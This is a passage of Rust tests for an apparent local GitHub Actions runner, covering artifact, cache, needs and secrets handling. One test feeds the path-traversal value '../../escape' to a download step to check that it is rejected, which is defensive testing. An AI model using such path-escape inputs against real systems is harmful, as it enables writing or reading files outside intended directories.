7915        // The expression resolves to empty because the step doesn't exist
7916        assert_eq!(resolved.get("ver").map(|s| s.as_str()), Some(""));
7917    }
7918
7919    // ---- Integration tests for artifact, cache, and needs.* wiring ----
7920
7921    #[tokio::test]
7922    async fn upload_artifact_step_wiring() {
7923        let runtime = MockContainerRuntime::default();
7924        let workflow = minimal_workflow();
7925        let working_dir = tempfile::tempdir().unwrap();
7926
7927        // Create a file in the workspace to upload
7928        std::fs::write(working_dir.path().join("build.tar"), "artifact-content").unwrap();
7929
7930        let artifact_dir = tempfile::tempdir().unwrap();
7931        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
7932        let cache_dir = tempfile::tempdir().unwrap();
7933        let cache_store =
7934            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
7935        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
7936
7937        let mut with = HashMap::new();
7938        with.insert("name".to_string(), "my-build".to_string());
7939        with.insert("path".to_string(), "build.tar".to_string());
7940        let step = make_step(
7941            "upload",
7942            "actions/upload-artifact@v4",
7943            Some(with),
7944            HashMap::new(),
7945        );
7946        let job_env = HashMap::new();
7947
7948        let ctx = StepExecutionContext {
7949            step: &step,
7950            step_idx: 0,
7951            job_env: &job_env,
7952            job_user_env: &job_env,
7953            working_dir: working_dir.path(),
7954            runtime: &runtime,
7955            workflow: &workflow,
7956            runner_image: "ubuntu:latest",
7957            verbose: false,
7958            matrix_combination: &None,
7959            container_config: None,
7960            workflow_defaults: None,
7961            job_defaults: None,
7962            step_outputs: &HashMap::new(),
7963            step_statuses: &HashMap::new(),
7964            job_status: "success",
7965            services: JobServices {
7966                secret_manager: None,
7967                secret_masker: None,
7968                secrets_context: &HashMap::new(),
7969                needs_context: &HashMap::new(),
7970                needs_results: &HashMap::new(),
7971                artifact_store: &artifact_store,
7972                cache_store: &cache_store,
7973            },
7974            pending_cache_saves: &pending,
7975        };
7976
7977        let result = execute_step(ctx).await.unwrap();
7978        assert_eq!(result.status, StepStatus::Success);
7979        assert!(result.output.contains("Uploaded artifact 'my-build'"));
7980
7981        // Now download via a second step
7982        let download_dir = tempfile::tempdir().unwrap();
7983        let mut dl_with = HashMap::new();
7984        dl_with.insert("name".to_string(), "my-build".to_string());
7985        dl_with.insert("path".to_string(), "dl".to_string());
7986        let dl_step = make_step(
7987            "download",
7988            "actions/download-artifact@v4",
7989            Some(dl_with),
7990            HashMap::new(),
7991        );
7992
7993        // Create the download target inside the workspace
7994        let dl_workspace = tempfile::tempdir().unwrap();
7995        let dl_ctx = StepExecutionContext {
7996            step: &dl_step,
7997            step_idx: 1,
7998            job_env: &job_env,
7999            job_user_env: &job_env,
8000            working_dir: dl_workspace.path(),
8001            runtime: &runtime,
8002            workflow: &workflow,
8003            runner_image: "ubuntu:latest",
8004            verbose: false,
8005            matrix_combination: &None,
8006            container_config: None,
8007            workflow_defaults: None,
8008            job_defaults: None,
8009            step_outputs: &HashMap::new(),
8010            step_statuses: &HashMap::new(),
8011            job_status: "success",
8012            services: JobServices {
8013                secret_manager: None,
8014                secret_masker: None,
8015                secrets_context: &HashMap::new(),
8016                needs_context: &HashMap::new(),
8017                needs_results: &HashMap::new(),
8018                artifact_store: &artifact_store,
8019                cache_store: &cache_store,
8020            },
8021            pending_cache_saves: &pending,
8022        };
8023
8024        let dl_result = execute_step(dl_ctx).await.unwrap();
8025        assert_eq!(dl_result.status, StepStatus::Success);
8026        assert!(dl_result.output.contains("Downloaded artifact 'my-build'"));
8027    }
8028
8029    /// Regression test for #88.
8030    ///
8031    /// A `run:` step that writes a file must land in the same workspace that
8032    /// `actions/upload-artifact` subsequently reads from. Under the buggy
8033    /// emulation runtime, run steps were rerouted to `GITHUB_WORKSPACE` (i.e.
8034    /// the real project directory) while artifact handlers kept using the
8035    /// per-job tempdir — so uploads could never find files the run step had
8036    /// just written.
8037    ///
8038    /// This test drives a real `EmulationRuntime` end-to-end through
8039    /// run → upload-artifact → download-artifact and asserts the payload
8040    /// round-trips byte-for-byte.
8041    #[cfg(not(target_os = "windows"))]
8042    #[tokio::test]
8043    async fn run_step_upload_download_artifact_roundtrip_emulation() {
8044        let runtime = emulation::EmulationRuntime::new();
8045        let workflow = minimal_workflow();
8046        let working_dir = tempfile::tempdir().unwrap();
8047
8048        // Point GITHUB_WORKSPACE at an isolated tempdir. On buggy main this is
8049        // where the rerouted run step writes, so upload (which reads
8050        // `ctx.working_dir`) finds nothing and the test fails. After the fix,
8051        // emulation honors the volume mount and the run step writes directly
8052        // into `ctx.working_dir`, so this path is irrelevant — but we still
8053        // isolate it to keep the test from touching the real project tree.
8054        let fake_github_ws = tempfile::tempdir().unwrap();
8055
8056        let artifact_dir = tempfile::tempdir().unwrap();
8057        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8058        let cache_dir = tempfile::tempdir().unwrap();
8059        let cache_store =
8060            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8061        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8062
8063        let mut job_env = HashMap::new();
8064        job_env.insert(
8065            "GITHUB_WORKSPACE".to_string(),
8066            fake_github_ws.path().to_string_lossy().to_string(),
8067        );
8068
8069        // --- Step 1: run step that writes a file into the workspace ---
8070        let run_step = make_step_run("mkdir artifact-dir && echo hello > artifact-dir/payload.txt");
8071        let run_ctx = StepExecutionContext {
8072            step: &run_step,
8073            step_idx: 0,
8074            job_env: &job_env,
8075            job_user_env: &job_env,
8076            working_dir: working_dir.path(),
8077            runtime: &runtime,
8078            workflow: &workflow,
8079            runner_image: "ubuntu:latest",
8080            verbose: false,
8081            matrix_combination: &None,
8082            container_config: None,
8083            workflow_defaults: None,
8084            job_defaults: None,
8085            step_outputs: &HashMap::new(),
8086            step_statuses: &HashMap::new(),
8087            job_status: "success",
8088            services: JobServices {
8089                secret_manager: None,
8090                secret_masker: None,
8091                secrets_context: &HashMap::new(),
8092                needs_context: &HashMap::new(),
8093                needs_results: &HashMap::new(),
8094                artifact_store: &artifact_store,
8095                cache_store: &cache_store,
8096            },
8097            pending_cache_saves: &pending,
8098        };
8099        let run_result = execute_step(run_ctx).await.unwrap();
8100        assert_eq!(
8101            run_result.status,
8102            StepStatus::Success,
8103            "run step failed: {}",
8104            run_result.output
8105        );
8106
8107        // --- Step 2: upload-artifact reads the file the run step just wrote ---
8108        let mut up_with = HashMap::new();
8109        up_with.insert("name".to_string(), "payload".to_string());
8110        up_with.insert("path".to_string(), "artifact-dir/payload.txt".to_string());
8111        let up_step = make_step(
8112            "upload",
8113            "actions/upload-artifact@v4",
8114            Some(up_with),
8115            HashMap::new(),
8116        );
8117        let up_ctx = StepExecutionContext {
8118            step: &up_step,
8119            step_idx: 1,
8120            job_env: &job_env,
8121            job_user_env: &job_env,
8122            working_dir: working_dir.path(),
8123            runtime: &runtime,
8124            workflow: &workflow,
8125            runner_image: "ubuntu:latest",
8126            verbose: false,
8127            matrix_combination: &None,
8128            container_config: None,
8129            workflow_defaults: None,
8130            job_defaults: None,
8131            step_outputs: &HashMap::new(),
8132            step_statuses: &HashMap::new(),
8133            job_status: "success",
8134            services: JobServices {
8135                secret_manager: None,
8136                secret_masker: None,
8137                secrets_context: &HashMap::new(),
8138                needs_context: &HashMap::new(),
8139                needs_results: &HashMap::new(),
8140                artifact_store: &artifact_store,
8141                cache_store: &cache_store,
8142            },
8143            pending_cache_saves: &pending,
8144        };
8145        let up_result = execute_step(up_ctx).await.unwrap();
8146        assert_eq!(
8147            up_result.status,
8148            StepStatus::Success,
8149            "upload step failed (this is the #88 regression): {}",
8150            up_result.output
8151        );
8152        assert!(
8153            up_result.output.contains("Uploaded artifact 'payload'"),
8154            "unexpected upload output: {}",
8155            up_result.output
8156        );
8157
8158        // --- Step 3: download-artifact into a fresh dir and verify byte equality ---
8159        let dl_workspace = tempfile::tempdir().unwrap();
8160        let mut dl_with = HashMap::new();
8161        dl_with.insert("name".to_string(), "payload".to_string());
8162        dl_with.insert("path".to_string(), "dl".to_string());
8163        let dl_step = make_step(
8164            "download",
8165            "actions/download-artifact@v4",
8166            Some(dl_with),
8167            HashMap::new(),
8168        );
8169        let dl_ctx = StepExecutionContext {
8170            step: &dl_step,
8171            step_idx: 2,
8172            job_env: &job_env,
8173            job_user_env: &job_env,
8174            working_dir: dl_workspace.path(),
8175            runtime: &runtime,
8176            workflow: &workflow,
8177            runner_image: "ubuntu:latest",
8178            verbose: false,
8179            matrix_combination: &None,
8180            container_config: None,
8181            workflow_defaults: None,
8182            job_defaults: None,
8183            step_outputs: &HashMap::new(),
8184            step_statuses: &HashMap::new(),
8185            job_status: "success",
8186            services: JobServices {
8187                secret_manager: None,
8188                secret_masker: None,
8189                secrets_context: &HashMap::new(),
8190                needs_context: &HashMap::new(),
8191                needs_results: &HashMap::new(),
8192                artifact_store: &artifact_store,
8193                cache_store: &cache_store,
8194            },
8195            pending_cache_saves: &pending,
8196        };
8197        let dl_result = execute_step(dl_ctx).await.unwrap();
8198        assert_eq!(
8199            dl_result.status,
8200            StepStatus::Success,
8201            "download step failed: {}",
8202            dl_result.output
8203        );
8204
8205        let downloaded = std::fs::read_to_string(
8206            dl_workspace
8207                .path()
8208                .join("dl")
8209                .join("artifact-dir/payload.txt"),
8210        )
8211        .expect("downloaded payload.txt should exist");
8212        assert_eq!(downloaded, "hello\n");
8213    }
8214
8215    #[tokio::test]
8216    async fn cache_step_miss_defers_save_and_flush_works() {
8217        let runtime = MockContainerRuntime::default();
8218        let workflow = minimal_workflow();
8219        let working_dir = tempfile::tempdir().unwrap();
8220
8221        // Create a directory to cache
8222        std::fs::create_dir_all(working_dir.path().join("node_modules")).unwrap();
8223        std::fs::write(working_dir.path().join("node_modules/pkg.json"), "{}").unwrap();
8224
8225        let cache_dir = tempfile::tempdir().unwrap();
8226        let cache_store =
8227            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8228        let artifact_dir = tempfile::tempdir().unwrap();
8229        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8230        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8231
8232        let mut with = HashMap::new();
8233        with.insert("key".to_string(), "deps-abc123".to_string());
8234        with.insert("path".to_string(), "node_modules".to_string());
8235        let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8236        let job_env = HashMap::new();
8237
8238        let ctx = StepExecutionContext {
8239            step: &step,
8240            step_idx: 0,
8241            job_env: &job_env,
8242            job_user_env: &job_env,
8243            working_dir: working_dir.path(),
8244            runtime: &runtime,
8245            workflow: &workflow,
8246            runner_image: "ubuntu:latest",
8247            verbose: false,
8248            matrix_combination: &None,
8249            container_config: None,
8250            workflow_defaults: None,
8251            job_defaults: None,
8252            step_outputs: &HashMap::new(),
8253            step_statuses: &HashMap::new(),
8254            job_status: "success",
8255            services: JobServices {
8256                secret_manager: None,
8257                secret_masker: None,
8258                secrets_context: &HashMap::new(),
8259                needs_context: &HashMap::new(),
8260                needs_results: &HashMap::new(),
8261                artifact_store: &artifact_store,
8262                cache_store: &cache_store,
8263            },
8264            pending_cache_saves: &pending,
8265        };
8266
8267        let result = execute_step(ctx).await.unwrap();
8268        assert_eq!(result.status, StepStatus::Success);
8269        assert!(result.output.contains("Cache miss"));
8270
8271        // The save should be deferred
8272        assert_eq!(pending.lock().unwrap().len(), 1);
8273
8274        // Flush pending saves
8275        flush_pending_cache_saves(&pending, &cache_store).await;
8276
8277        // Now a second restore should hit
8278        let workspace2 = tempfile::tempdir().unwrap();
8279        let restored = cache_store
8280            .restore("deps-abc123", &[], "node_modules", workspace2.path())
8281            .await;
8282        assert_eq!(restored, Some("deps-abc123".to_string()));
8283        assert!(workspace2.path().join("node_modules/pkg.json").exists());
8284    }
8285
8286    #[test]
8287    fn needs_context_flows_through_expression_evaluation() {
8288        let mut needs_ctx = HashMap::new();
8289        let mut build_outputs = HashMap::new();
8290        build_outputs.insert("artifact".to_string(), "dist.tar.gz".to_string());
8291        needs_ctx.insert("build".to_string(), build_outputs);
8292
8293        let mut needs_res = HashMap::new();
8294        needs_res.insert("build".to_string(), "success".to_string());
8295
8296        let empty_env = HashMap::new();
8297        let empty_steps = HashMap::new();
8298        let empty_statuses = HashMap::new();
8299        let empty_secrets = HashMap::new();
8300
8301        let ctx = crate::expression::ExpressionContext {
8302            env_context: &empty_env,
8303            step_outputs: &empty_steps,
8304            matrix_combination: &None,
8305            step_statuses: &empty_statuses,
8306            job_status: "success",
8307            secrets_context: &empty_secrets,
8308            needs_context: &needs_ctx,
8309            needs_results: &needs_res,
8310            user_env: &empty_env,
8311        };
8312
8313        // Test needs.build.outputs.artifact
8314        let result = crate::expression::evaluate("needs.build.outputs.artifact", &ctx).unwrap();
8315        assert_eq!(
8316            result,
8317            crate::expression::ExprValue::String("dist.tar.gz".to_string())
8318        );
8319
8320        // Test needs.build.result
8321        let result = crate::expression::evaluate("needs.build.result", &ctx).unwrap();
8322        assert_eq!(
8323            result,
8324            crate::expression::ExprValue::String("success".to_string())
8325        );
8326
8327        // Test unknown needs job returns null
8328        let result = crate::expression::evaluate("needs.deploy.result", &ctx).unwrap();
8329        assert_eq!(result, crate::expression::ExprValue::Null);
8330    }
8331
8332    #[test]
8333    fn step_outcome_conclusion_with_continue_on_error() {
8334        let mut step_statuses = HashMap::new();
8335        let mut job_status = "success".to_string();
8336
8337        // Simulate a step that failed but had continue-on-error
8338        let result = StepResult {
8339            name: "lint".to_string(),
8340            status: StepStatus::Failure,
8341            output: String::new(),
8342            outcome: StepStatus::Failure,
8343            conclusion: StepStatus::Success,
8344        };
8345        record_step_status(Some("lint"), &result, &mut step_statuses, &mut job_status);
8346
8347        // Job status should remain "success" because conclusion is Success
8348        assert_eq!(job_status, "success");
8349
8350        let empty_env = HashMap::new();
8351        let empty_steps = HashMap::new();
8352        let empty_secrets = HashMap::new();
8353        let empty_needs = HashMap::new();
8354        let empty_needs_results = HashMap::new();
8355
8356        let ctx = crate::expression::ExpressionContext {
8357            env_context: &empty_env,
8358            step_outputs: &empty_steps,
8359            matrix_combination: &None,
8360            step_statuses: &step_statuses,
8361            job_status: &job_status,
8362            secrets_context: &empty_secrets,
8363            needs_context: &empty_needs,
8364            needs_results: &empty_needs_results,
8365            user_env: &empty_env,
8366        };
8367
8368        // outcome should be "failure" (raw result)
8369        let outcome = crate::expression::evaluate("steps.lint.outcome", &ctx).unwrap();
8370        assert_eq!(
8371            outcome,
8372            crate::expression::ExprValue::String("failure".to_string())
8373        );
8374
8375        // conclusion should be "success" (after continue-on-error)
8376        let conclusion = crate::expression::evaluate("steps.lint.conclusion", &ctx).unwrap();
8377        assert_eq!(
8378            conclusion,
8379            crate::expression::ExprValue::String("success".to_string())
8380        );
8381
8382        // success() should return true (job hasn't failed)
8383        let is_success = crate::expression::evaluate("success()", &ctx).unwrap();
8384        assert_eq!(is_success, crate::expression::ExprValue::Bool(true));
8385    }
8386
8387    #[test]
8388    fn secrets_context_resolves_in_expressions() {
8389        let mut secrets = HashMap::new();
8390        secrets.insert("API_KEY".to_string(), "sk-12345".to_string());
8391
8392        let empty_env = HashMap::new();
8393        let empty_steps = HashMap::new();
8394        let empty_statuses = HashMap::new();
8395        let empty_needs = HashMap::new();
8396        let empty_needs_results = HashMap::new();
8397
8398        let ctx = crate::expression::ExpressionContext {
8399            env_context: &empty_env,
8400            step_outputs: &empty_steps,
8401            matrix_combination: &None,
8402            step_statuses: &empty_statuses,
8403            job_status: "success",
8404            secrets_context: &secrets,
8405            needs_context: &empty_needs,
8406            needs_results: &empty_needs_results,
8407            user_env: &empty_env,
8408        };
8409
8410        let result = crate::expression::evaluate("secrets.API_KEY", &ctx).unwrap();
8411        assert_eq!(
8412            result,
8413            crate::expression::ExprValue::String("sk-12345".to_string())
8414        );
8415
8416        // Unknown secret returns null
8417        let result = crate::expression::evaluate("secrets.UNKNOWN", &ctx).unwrap();
8418        assert_eq!(result, crate::expression::ExprValue::Null);
8419    }
8420
8421    #[tokio::test]
8422    async fn download_artifact_rejects_path_traversal() {
8423        let runtime = MockContainerRuntime::default();
8424        let workflow = minimal_workflow();
8425        let working_dir = tempfile::tempdir().unwrap();
8426
8427        let artifact_dir = tempfile::tempdir().unwrap();
8428        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8429        let cache_dir = tempfile::tempdir().unwrap();
8430        let cache_store =
8431            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8432        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8433
8434        let mut dl_with = HashMap::new();
8435        dl_with.insert("name".to_string(), "my-artifact".to_string());
8436        dl_with.insert("path".to_string(), "../../escape".to_string());
8437        let step = make_step(
8438            "download",
8439            "actions/download-artifact@v4",
8440            Some(dl_with),
8441            HashMap::new(),
8442        );
8443        let job_env = HashMap::new();
8444
8445        let ctx = StepExecutionContext {
8446            step: &step,
8447            step_idx: 0,
8448            job_env: &job_env,
8449            job_user_env: &job_env,
8450            working_dir: working_dir.path(),
8451            runtime: &runtime,
8452            workflow: &workflow,
8453            runner_image: "ubuntu:latest",
8454            verbose: false,
8455            matrix_combination: &None,
8456            container_config: None,
8457            workflow_defaults: None,
8458            job_defaults: None,
8459            step_outputs: &HashMap::new(),
8460            step_statuses: &HashMap::new(),
8461            job_status: "success",
8462            services: JobServices {
8463                secret_manager: None,
8464                secret_masker: None,
8465                secrets_context: &HashMap::new(),
8466                needs_context: &HashMap::new(),
8467                needs_results: &HashMap::new(),
8468                artifact_store: &artifact_store,
8469                cache_store: &cache_store,
8470            },
8471            pending_cache_saves: &pending,
8472        };
8473
8474        let result = execute_step(ctx).await.unwrap();
8475        assert_eq!(result.status, StepStatus::Failure);
8476        assert!(result.output.contains("escapes workspace"));
8477    }
8478
8479    #[tokio::test]
8480    async fn download_artifact_all_when_name_empty() {
8481        let runtime = MockContainerRuntime::default();
8482        let workflow = minimal_workflow();
8483        let working_dir = tempfile::tempdir().unwrap();
8484
8485        // Create and upload two artifacts
8486        std::fs::write(working_dir.path().join("a.txt"), "aaa").unwrap();
8487        std::fs::write(working_dir.path().join("b.txt"), "bbb").unwrap();
8488
8489        let artifact_dir = tempfile::tempdir().unwrap();
8490        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8491        artifact_store
8492            .upload("art-a", "a.txt", working_dir.path())
8493            .await
8494            .unwrap();
8495        artifact_store
8496            .upload("art-b", "b.txt", working_dir.path())
8497            .await
8498            .unwrap();
8499
8500        let cache_dir = tempfile::tempdir().unwrap();
8501        let cache_store =
8502            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8503        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8504
8505        // Download all (no name specified)
8506        let dl_with = HashMap::new();
8507        let step = make_step(
8508            "download-all",
8509            "actions/download-artifact@v4",
8510            Some(dl_with),
8511            HashMap::new(),
8512        );
8513        let dl_workspace = tempfile::tempdir().unwrap();
8514        let job_env = HashMap::new();
8515
8516        let ctx = StepExecutionContext {
8517            step: &step,
8518            step_idx: 0,
8519            job_env: &job_env,
8520            job_user_env: &job_env,
8521            working_dir: dl_workspace.path(),
8522            runtime: &runtime,
8523            workflow: &workflow,
8524            runner_image: "ubuntu:latest",
8525            verbose: false,
8526            matrix_combination: &None,
8527            container_config: None,
8528            workflow_defaults: None,
8529            job_defaults: None,
8530            step_outputs: &HashMap::new(),
8531            step_statuses: &HashMap::new(),
8532            job_status: "success",
8533            services: JobServices {
8534                secret_manager: None,
8535                secret_masker: None,
8536                secrets_context: &HashMap::new(),
8537                needs_context: &HashMap::new(),
8538                needs_results: &HashMap::new(),
8539                artifact_store: &artifact_store,
8540                cache_store: &cache_store,
8541            },
8542            pending_cache_saves: &pending,
8543        };
8544
8545        let result = execute_step(ctx).await.unwrap();
8546        assert_eq!(result.status, StepStatus::Success);
8547        assert!(result.output.contains("2 artifact(s)"));
8548        // Each artifact should be in its own subdirectory
8549        assert!(dl_workspace.path().join("art-a/a.txt").exists());
8550        assert!(dl_workspace.path().join("art-b/b.txt").exists());
8551    }
8552
8553    #[tokio::test]
8554    async fn cache_step_rejects_empty_key() {
8555        let runtime = MockContainerRuntime::default();
8556        let workflow = minimal_workflow();
8557        let working_dir = tempfile::tempdir().unwrap();
8558
8559        let cache_dir = tempfile::tempdir().unwrap();
8560        let cache_store =
8561            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8562        let artifact_dir = tempfile::tempdir().unwrap();
8563        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8564        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8565
8566        let mut with = HashMap::new();
8567        with.insert("key".to_string(), String::new());
8568        with.insert("path".to_string(), "node_modules".to_string());
8569        let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8570        let job_env = HashMap::new();
8571
8572        let ctx = StepExecutionContext {
8573            step: &step,
8574            step_idx: 0,
8575            job_env: &job_env,
8576            job_user_env: &job_env,
8577            working_dir: working_dir.path(),
8578            runtime: &runtime,
8579            workflow: &workflow,
8580            runner_image: "ubuntu:latest",
8581            verbose: false,
8582            matrix_combination: &None,
8583            container_config: None,
8584            workflow_defaults: None,
8585            job_defaults: None,
8586            step_outputs: &HashMap::new(),
8587            step_statuses: &HashMap::new(),
8588            job_status: "success",
8589            services: JobServices {
8590                secret_manager: None,
8591                secret_masker: None,
8592                secrets_context: &HashMap::new(),
8593                needs_context: &HashMap::new(),
8594                needs_results: &HashMap::new(),
8595                artifact_store: &artifact_store,
8596                cache_store: &cache_store,
8597            },
8598            pending_cache_saves: &pending,
8599        };
8600
8601        let result = execute_step(ctx).await.unwrap();
8602        assert_eq!(result.status, StepStatus::Failure);
8603        assert!(result.output.contains("not provided"));
8604    }
8605
8606    #[tokio::test]
8607    async fn cache_step_rejects_empty_path() {
8608        let runtime = MockContainerRuntime::default();
8609        let workflow = minimal_workflow();
8610        let working_dir = tempfile::tempdir().unwrap();
8611
8612        let cache_dir = tempfile::tempdir().unwrap();
8613        let cache_store =
8614            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8615        let artifact_dir = tempfile::tempdir().unwrap();
8616        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8617        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8618
8619        let mut with = HashMap::new();
8620        with.insert("key".to_string(), "deps-key".to_string());
8621        // path is missing entirely
8622        let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8623        let job_env = HashMap::new();
8624
8625        let ctx = StepExecutionContext {
8626            step: &step,
8627            step_idx: 0,
8628            job_env: &job_env,
8629            job_user_env: &job_env,
8630            working_dir: working_dir.path(),
8631            runtime: &runtime,
8632            workflow: &workflow,
8633            runner_image: "ubuntu:latest",
8634            verbose: false,
8635            matrix_combination: &None,
8636            container_config: None,
8637            workflow_defaults: None,
8638            job_defaults: None,
8639            step_outputs: &HashMap::new(),
8640            step_statuses: &HashMap::new(),
8641            job_status: "success",
8642            services: JobServices {
8643                secret_manager: None,
8644                secret_masker: None,
8645                secrets_context: &HashMap::new(),
8646                needs_context: &HashMap::new(),
8647                needs_results: &HashMap::new(),
8648                artifact_store: &artifact_store,
8649                cache_store: &cache_store,
8650            },
8651            pending_cache_saves: &pending,
8652        };
8653
8654        let result = execute_step(ctx).await.unwrap();
8655        assert_eq!(result.status, StepStatus::Failure);
8656        assert!(result.output.contains("not provided"));
8657    }
8658
8659    #[tokio::test]
8660    async fn cache_step_multi_path_defers_all_paths() {
8661        let runtime = MockContainerRuntime::default();
8662        let workflow = minimal_workflow();
8663        let working_dir = tempfile::tempdir().unwrap();
8664
8665        // Create two directories to cache
8666        std::fs::create_dir_all(working_dir.path().join("node_modules")).unwrap();
8667        std::fs::write(working_dir.path().join("node_modules/pkg.json"), "{}").unwrap();
8668        std::fs::create_dir_all(working_dir.path().join(".npm")).unwrap();
8669        std::fs::write(working_dir.path().join(".npm/cache.bin"), "data").unwrap();
8670
8671        let cache_dir = tempfile::tempdir().unwrap();
8672        let cache_store =
8673            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8674        let artifact_dir = tempfile::tempdir().unwrap();
8675        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8676        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8677
8678        let mut with = HashMap::new();
8679        with.insert("key".to_string(), "deps-multi".to_string());
8680        with.insert("path".to_string(), "node_modules\n.npm".to_string());
8681        let step = make_step("cache", "actions/cache@v4", Some(with), HashMap::new());
8682        let job_env = HashMap::new();
8683
8684        let ctx = StepExecutionContext {
8685            step: &step,
8686            step_idx: 0,
8687            job_env: &job_env,
8688            job_user_env: &job_env,
8689            working_dir: working_dir.path(),
8690            runtime: &runtime,
8691            workflow: &workflow,
8692            runner_image: "ubuntu:latest",
8693            verbose: false,
8694            matrix_combination: &None,
8695            container_config: None,
8696            workflow_defaults: None,
8697            job_defaults: None,
8698            step_outputs: &HashMap::new(),
8699            step_statuses: &HashMap::new(),
8700            job_status: "success",
8701            services: JobServices {
8702                secret_manager: None,
8703                secret_masker: None,
8704                secrets_context: &HashMap::new(),
8705                needs_context: &HashMap::new(),
8706                needs_results: &HashMap::new(),
8707                artifact_store: &artifact_store,
8708                cache_store: &cache_store,
8709            },
8710            pending_cache_saves: &pending,
8711        };
8712
8713        let result = execute_step(ctx).await.unwrap();
8714        assert_eq!(result.status, StepStatus::Success);
8715        assert!(result.output.contains("Cache miss"));
8716
8717        // Both paths should be deferred
8718        assert_eq!(pending.lock().unwrap().len(), 2);
8719
8720        // Flush and verify both paths are saved
8721        flush_pending_cache_saves(&pending, &cache_store).await;
8722
8723        let ws2 = tempfile::tempdir().unwrap();
8724        let hit = cache_store
8725            .restore("deps-multi", &[], "node_modules", ws2.path())
8726            .await;
8727        assert!(hit.is_some());
8728        assert!(ws2.path().join("node_modules/pkg.json").exists());
8729
8730        let hit2 = cache_store
8731            .restore("deps-multi", &[], ".npm", ws2.path())
8732            .await;
8733        assert!(hit2.is_some());
8734        assert!(ws2.path().join(".npm/cache.bin").exists());
8735    }
8736
8737    // --- additional build_needs_context tests ---
8738
8739    #[test]
8740    fn build_needs_context_filters_to_declared_needs() {
8741        let mut all_outputs = HashMap::new();
8742        all_outputs.insert("build".to_string(), {
8743            let mut m = HashMap::new();
8744            m.insert("version".to_string(), "1.2.3".to_string());
8745            m
8746        });
8747        all_outputs.insert("lint".to_string(), {
8748            let mut m = HashMap::new();
8749            m.insert("status".to_string(), "ok".to_string());
8750            m
8751        });
8752        all_outputs.insert("deploy".to_string(), {
8753            let mut m = HashMap::new();
8754            m.insert("url".to_string(), "https://example.com".to_string());
8755            m
8756        });
8757
8758        let mut all_results = HashMap::new();
8759        all_results.insert("build".to_string(), "success".to_string());
8760        all_results.insert("lint".to_string(), "success".to_string());
8761        all_results.insert("deploy".to_string(), "failure".to_string());
8762
8763        // Job only declares needs: [build, lint]
8764        let job = Job {
8765            needs: Some(vec!["build".to_string(), "lint".to_string()]),
8766            ..make_job(None, None)
8767        };
8768
8769        let (needs_out, needs_res) = build_needs_context(&job, &all_outputs, &all_results);
8770        assert_eq!(needs_out.len(), 2);
8771        assert!(needs_out.contains_key("build"));
8772        assert!(needs_out.contains_key("lint"));
8773        assert!(!needs_out.contains_key("deploy"));
8774        assert_eq!(needs_res.get("build").unwrap(), "success");
8775        assert_eq!(needs_res.get("lint").unwrap(), "success");
8776        assert!(!needs_res.contains_key("deploy"));
8777    }
8778
8779    // --- additional aggregate_reusable_workflow_outputs tests ---
8780
8781    #[test]
8782    fn aggregate_reusable_workflow_outputs_last_job_wins_on_collision() {
8783        let mut job_outputs = HashMap::new();
8784        job_outputs.insert("alpha".to_string(), {
8785            let mut m = HashMap::new();
8786            m.insert("result".to_string(), "from-alpha".to_string());
8787            m
8788        });
8789        job_outputs.insert("beta".to_string(), {
8790            let mut m = HashMap::new();
8791            m.insert("result".to_string(), "from-beta".to_string());
8792            m
8793        });
8794
8795        let merged = aggregate_reusable_workflow_outputs(&job_outputs);
8796        // "beta" > "alpha" alphabetically, so beta's value wins
8797        assert_eq!(merged.get("result").unwrap(), "from-beta");
8798    }
8799
8800    #[test]
8801    fn aggregate_reusable_workflow_outputs_empty_input() {
8802        let merged = aggregate_reusable_workflow_outputs(&HashMap::new());
8803        assert!(merged.is_empty());
8804    }
8805
8806    #[tokio::test]
8807    async fn download_artifact_all_with_empty_store() {
8808        let runtime = MockContainerRuntime::default();
8809        let workflow = minimal_workflow();
8810        let working_dir = tempfile::tempdir().unwrap();
8811
8812        let artifact_dir = tempfile::tempdir().unwrap();
8813        let artifact_store = crate::artifacts::ArtifactStore::new(artifact_dir.path()).unwrap();
8814        let cache_dir = tempfile::tempdir().unwrap();
8815        let cache_store =
8816            crate::cache::CacheStore::with_root(cache_dir.path().to_path_buf()).unwrap();
8817        let pending = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
8818
8819        // Download all with no artifacts uploaded — should succeed with 0 files
8820        let dl_with = HashMap::new();
8821        let step = make_step(
8822            "download-all",
8823            "actions/download-artifact@v4",
8824            Some(dl_with),
8825            HashMap::new(),
8826        );
8827        let job_env = HashMap::new();
8828
8829        let ctx = StepExecutionContext {
8830            step: &step,
8831            step_idx: 0,
8832            job_env: &job_env,
8833            job_user_env: &job_env,
8834            working_dir: working_dir.path(),
8835            runtime: &runtime,
8836            workflow: &workflow,
8837            runner_image: "ubuntu:latest",
8838            verbose: false,
